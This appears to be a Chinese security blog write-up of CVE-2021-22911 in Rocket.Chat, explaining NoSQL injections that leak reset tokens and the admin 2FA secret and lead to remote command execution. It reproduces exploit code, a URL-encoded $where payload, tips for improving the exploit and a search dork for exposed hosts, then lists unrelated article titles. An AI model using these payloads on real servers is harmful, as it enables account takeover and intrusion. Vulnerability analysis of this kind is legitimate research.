简述

Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织。

2021年3月19日,该漏洞在 HackerOne 被提出,于2021年4月14日被官方修复。该漏洞主要是因为 Mongodb 的查询语句是类 JSON 形式的,如{"_id":“1”}。由于对用户的输入没有进行严格的检查,攻击者可以通过将查询语句从原来的字符串变为恶意的对象,例如{"_id":{"$ne":1}}即可查询 _id 值不等于 1 的数据。

影响版本

3.12.1<= Rocket.Chat <=3.13.2

漏洞影响面

通过ZoomEye网络空间搜索引擎,搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。

zoomeye dork 关键词:app:“Rocket.Chat”

输入CVE编号:CVE-2021-22911也可以关联出ZoomEye dork

漏洞影响面全球视角可视化

复现

复现环境为 Rocket.Chat 3.12.1。

使用 pocsuite3 编写 PoC,利用 verify 模式验证。

漏洞分析

该漏洞包含了两处不同的注入,漏洞细节可以在这篇文章中找到,同时还可以找到文章作者给出的 exp。第一处在server/methods/getPasswordPolicy.js,通过 NoSQL 注入来泄露重置密码的 token。

getPasswordPolicy(params) {const user = Users.findOne({ 'services.password.reset.token': params.token });if (!user && !Meteor.userId()) {throw new Meteor.Error('error-invalid-user', 'Invalid user', {method: 'getPasswordPolicy',});}return passwordPolicy.getPasswordPolicy();}

这里的 params 是用户传入的参数,正常来说,params.token 是一串随机字符串,但在这里可以传一个包含正则表达式的查询语句 {’$regex’:’^A’},例如下面这个例子意为查找一处 token 是以大写字母 A 为开头的数据。通过这个漏洞就可以逐字符的爆破修改密码所需的 token。

Users.findOne({ 'services.password.reset.token': {'$regex': '^A'}
})

第二处漏洞在 app/api/server/v1/users.js,需要登陆后的用户才能访问,通过这处注入攻击者可以获得包括 admin 在内的所有用户的信息。注入点代码如下:

API.v1.addRoute('users.list', { authRequired: true }, {get() {// ...const { sort, fields, query } = this.parseJsonQuery();const users = Users.find(query, {/*...*/}).fetch();return API.v1.success({users,// ...});},
});

这处注入需要了解的知识点是,mongo 中的 $where 语句,根据文档,查询语句以这种形式展现 { $where: <string|JavaScript Code> },因此攻击者可以注入 JavaScript 代码,通过将搜索的结果以报错的形式输出。光说可能难以理解,通过一个例子就能很好地说明了。

攻击者可以传入这样的 query:{"$where":“this.username===‘admin’ && (()=>{ throw this.secret })()”},就会构成下面这样的查询语句,意为查询 username 为 admin 的用户并将他的信息通过报错输出。

Users.find({"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"}, {/*...*/}
).fetch();

通过这个漏洞,就可以获得 admin 的修改密码的 token 和 2FA 的密钥,即可修改 admin 的密码,达到了提权的目的。Rocket.Chat 还为管理员账户提供了创建 web hooks 的功能,这个功能用到了 Node.js 的 vm 模块,而 vm 模块可以通过简单的原型链操作被逃逸,达到任意命令执行的效果。至此,我们了解到了这一个命令执行漏洞的所有细节,接下来就通过分析漏洞发现者提供的 exp 来讲一下漏洞利用的过程。

漏洞利用

这部分内容基于漏洞发现者给出的 exp,并结合我在复现过程中遇到的问题提出改进意见。

# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)## Getting reset token through blind nosql injection
token = resettoken(target)## Changing Password
changingpassword(target,token)

首先通过 getPasswordPolicy() 处的 token 泄露漏洞,修改普通用户的密码。然而需要注意的是,修改密码的 token 长度为 43 个字符,这个爆破的工作量是很大的,且耗时非常长。因此在获取普通用户权限这一步,可以直接通过注册功能完成,而不需要爆破验证的 token。试想若是攻击目标关闭了注册功能,那意味着我们无法获取到已注册用户的信息,也就无计可施了。

# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)

第二步是获取管理员账号的 2FA 密钥,其中的 twofactor() 利用了第二处漏洞。

def twofactor(url,email):# Authenticating# ...print(f"[+] Succesfully authenticated as {email}")# Getting 2fa codecookies = {'rc_uid': userid,'rc_token': token}headers={'X-User-Id': userid,'X-Auth-Token': token}payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'r = requests.get(url+payload,cookies=cookies,headers=headers)code = r.text[46:98]

在这个函数中直接默认了管理员账号的 username 为 “admin”,但是经过测试,并不是所有可攻击的目标都以 “admin” 作为 username,那么就需要一种方法来获取管理员账号的 username。观察 mongodb 中存储的用户数据:

{"_id" : "x", ..."services" : { "password" : { ...}, ...,"emails" : [ { "address" : "x@x.com", "verified" : true} ], "roles" : [ "admin" ], "name" : "username",...
}

每一个用户字段中都有一条{“roles”:[""]},通过{"$where":“this.roles.indexOf(‘admin’)>=0”}来查询管理员账号的信息,随后便可获取管理员的 username。

第三步是修改管理员账号的密码,以获得 admin 的权限。

## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

其中 forgotpassword() 这一步不可缺少,因为每次通过 reset token 来修改密码以后,后台会自动删除该 token。在本地测试的时候,因为没有 forgotpassword() 这一步,所以每次执行过 changingadminpassword() 以后,都会因为缺少 reset token 导致下一次 PoC 执行失败。通过断点调试找到了问题所在。

在.meteor/local/build/programs/server/packages/accounts-password.js line 1016

resetPassword: function () {// ...try {// Update the user record by:// - Changing the password to the new one// - Forgetting about the reset token that was just used// - Verifying their email, since they got the password reset via email.const affectedRecords = Meteor.users.update({'services.password.reset.token': token}, {$unset: {'services.password.reset': 1,}});}
}

每一次执行 resetPassword() 以后,都会清空 token。同样在这个文件中,可以找到用于生成 reset.token 的函数 generateResetToken()。在此文件中共有三次出现,其中一次是函数定义,两次是调用,分别于第 898 行和第 938 行被 sendResetPasswordEmail() 和 sendEnrollmentEmail() 调用。

Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);

sendResetPasswordEmail() 在申请重置密码的时候被调用,sendEnrollmentEmail() 在用户刚注册的时候被调用。因此,想要获得 reset.token 的值,就要先发起一个重置密码的请求,让后台发送一封重置密码的邮件。

最后一步就是执行任意命令了。

## Authenticating and triggering rcewhile True:cmd = input("CMD:> ")code = oathtool.generate_otp(secret)rce(target,code,cmd)

由于命令执行没有回显,因此我的做法是在本地监听一个端口起一个 HTTP 服务器,然后执行 wget HTTP服务器地址/randomstr,如果HTTP服务器收到了路由为/{random_str},如果 HTTP 服务器收到了路由为 /randoms​tr,如果HTTP服务器收到了路由为/{random_str}的请求,则证明该服务存在漏洞。

后记

这次复现经过了挺长的时间,主要是由于这个漏洞利用的条件比较苛刻,需要满足各种限制条件,比如需要开放注册功能、管理员账号开启了 2FA、被攻击目标的版本满足要求。不过通过耐心的分析,把复现过程中遇到的问题一一解决,我还是很高兴的。

防护方案

1、更新 Rocket.Chat 至官方发布的最新版。

关注我,将持续更新!!!

【安全漏洞】Rocket.Chat 远程命令执行漏洞分析相关推荐

  1. 远程命令执行漏洞与远程代码执行漏洞33333

    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...

  2. webmin远程命令执行漏洞(cve-2019-15107)深入分析

    漏洞描述 近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...

  3. 【注意】关于Redis存在远程命令执行漏洞的安全公告

    点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台 安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...

  4. rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警

    报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...

  5. jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞

    ###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...

  6. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同 ...

  7. 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞

    [漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...

  8. 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

    本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...

  9. 详述WebLogic反序列化远程命令执行漏洞的处理过程,云和恩墨技术通讯精选

    各位亲爱的用户/读者朋友们: 为了及时共享行业案例,通告共性问题,达成知识共享和提前预防,我们整理和编辑了<云和恩墨技术通讯>(5月刊),通过对过去一段时间的知识回顾和故障归纳,以期提供有 ...

最新文章

  1. 算法设计思想(2)— 贪婪法
  2. 谷歌对Deepfake亮剑:打造鉴假新工具,帮助媒体识别AI造假
  3. 平台篇-58 HBase 平台实践和应用
  4. autosize px转dp_Android 屏幕适配以及autoSize的原理.md
  5. helloworld:一个完整的WCF案例
  6. 问一个网络工程师是怎么崩溃之一的?
  7. GAN网络(Generative Adversarial Networks )
  8. python twisted框架_Python 基于Twisted框架的文件夹网络传输源码
  9. ElasticSearch索引的基本操作命令
  10. java jframe 对话框_java-如何将值从JDialog框返回到父JFrame?
  11. 请详细描述listview与gridview的异同点_一建考试中,实在不会的怎么办?教你从题目中获取得分点!...
  12. ***HTML +CSS 总结与归纳
  13. 被远程之后,键盘失灵问题
  14. 如何提取html的音频,如何将网页中的音频文件提取出来
  15. EasyUI Combobox 的 onChange,onSelect,onClick 事件
  16. springcloud以及四大神兽面试涉及知识总结(持续更新)
  17. 如何坚持完成自己的目标和计划?
  18. 斯年,愿做岁月的知音
  19. 数字化转型进行时 | 区块链赋能政务数字化研讨会在零数科技举办
  20. Python netCDF4

热门文章

  1. 成功解决基于VS2015(Visual Studio2015)编写C++程序调试时弹出窗口一闪而过的问题
  2. 成功解决PackagesNotFoundError: The following packages are not available from current channels: tensorflo
  3. CV之FE:基于TF进行FE——去除异常(被损坏)图像 和单通道图像
  4. FORTRAN学习记录(持续更新)
  5. Web应用开发技术(2)-html
  6. 网络yum源 自定义yum仓库 zip备份 编译安装
  7. goLand工程结构管理
  8. jquery单选框radio绑定click事件实现和是否选中的方法
  9. eclipse报错:Failed to load the JNI shared library
  10. sizzle分析记录:getAttribute和getAttributeNode